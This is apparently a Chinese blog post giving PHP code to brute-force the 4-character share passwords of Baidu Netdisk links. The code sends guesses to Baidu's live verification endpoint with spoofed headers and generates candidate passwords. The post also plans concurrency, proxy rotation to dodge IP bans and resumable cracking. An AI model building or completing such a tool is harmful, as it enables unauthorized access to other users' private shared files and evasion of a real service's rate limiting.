百度网盘分享密码暴力破解

前几天阅读了一篇文章,作者通过枚举重置密码的手机验证码来修改任意用户的账号密码。这种方式被普遍应用,但我们确实比较少的关心这可能存在漏洞,纯数字的验证码只要在失效前通过程序枚举很快就能被破解。受此启发,也想尝试下百度网盘的分享密码破解试验。

百度网盘的分享密码为4个字符,因此,我们可以通过调用认证接口来暴力破解。

通过 Chrome 的网络请求分析,结合 POSTMAN 模拟请求,我们得知,网盘密码认证主要参数有

  1. 分享链接识别码
  2. 毫秒时间戳
  3. http 的 refer 头
  4. post 方式发送的密码

于是,我们有了以下的一段代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
function crackBaiduNetdiskPwd($url)
{
$shareCode = ltrim(strstr($url, '/1'),'/1');
$baseUrl = 'https://pan.baidu.com/share/verify?';
$get_params = [
'surl' => $shareCode,
't' => intval(microtime(true) * 1000),
'channel' => 'chunlei',
'web' => 1,
'clienttype' => 0,
'app_id' => 123456,
'bdstoken' => '',
'logid' => 'MTU2Njc5MTgzODkyNzAuNjM3NzgzODMwMzQ1MjE3NQ=='
];

$requestUrl = $baseUrl.http_build_query($get_params);

$pwd = '77wk';//todo 生成密码
$post_params = [
'pwd' => $pwd,
'vscode' => '',
'vscode_str' => ''
];

$ch = curl_init($requestUrl);
curl_setopt_array(
$ch,
[
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query($post_params),//设定 POST 参数内容
// CURLOPT_FOLLOWLOCATION => true,//跟随重定向地址
// CURLOPT_AUTOREFERER => true,
CURLOPT_RETURNTRANSFER => true,//将curl_exec()获取的信息以字符串返回,而不是直接输出。
CURLOPT_USERAGENT => 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36',
CURLOPT_REFERER => 'https://pan.baidu.com/share/init?surl='.$shareCode//必填项
]
);
//todo 并发请求 https://www.php.net/manual/zh/function.curl-multi-init.php#118142
$response = curl_exec($ch);

if(! json_decode($response)->errno) {
echo '破解成功,密码为:'.$pwd;
}

curl_close($ch);
}

crackBaiduNetdiskPwd('https://pan.baidu.com/s/1gftmNyb');

至此,单次请求已经成功,但剩余的工作还有:

  1. 我们需要生成纯字母、字母数字、纯数字三种类型的密码,且这三类的权重依次降低,三类中的重复密码(如:aaaa6666)权重最低
  2. 给定密码区间段和类型,如何生成指定长度的密码,如,怎样生成aaaa ~ zzzz的密码?(现有思路:将字母转换为 ASCII 对应的数字,共 4 个位,将其转换为数组。如果第0位值达到z,则向高位进位,低位归位处理)
  3. php 实现并发请求
  4. 添加IP代理,避免单一IP请求被封禁
  5. 添加日志,支持断点续破
  6. 记录每次破解的耗时与次数,用于后期分析

—2019-09-19更新—

生成aaaa ~ zzzz的密码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function getAlphabet() {
for ($i = 'aaaa'; $i < 'zzzz'; $i++) {
yield $i;

if ('zzzy' === $i) {
return yield get4Z();
}
}
}

function get4Z() {
return 'zzzz';
}

foreach (getAlphabet() as $letter) {
echo $letter;
}

生成字母数字的密码:

1
2
3
function getAlphanumeric() {
//todo
}

Tips

  1. 如果需要获取更高精度的时间戳,可以调整php.ini中的precision的值。
  2. curl_setopt_array中的 key 是预设常量,如果写作字符串(如'CURLOPT_POSTFIELDS'),则会有curl_setopt_array(): Array keys must be CURLOPT constants or equivalent integer values in的错误
因为热爱,所以执着。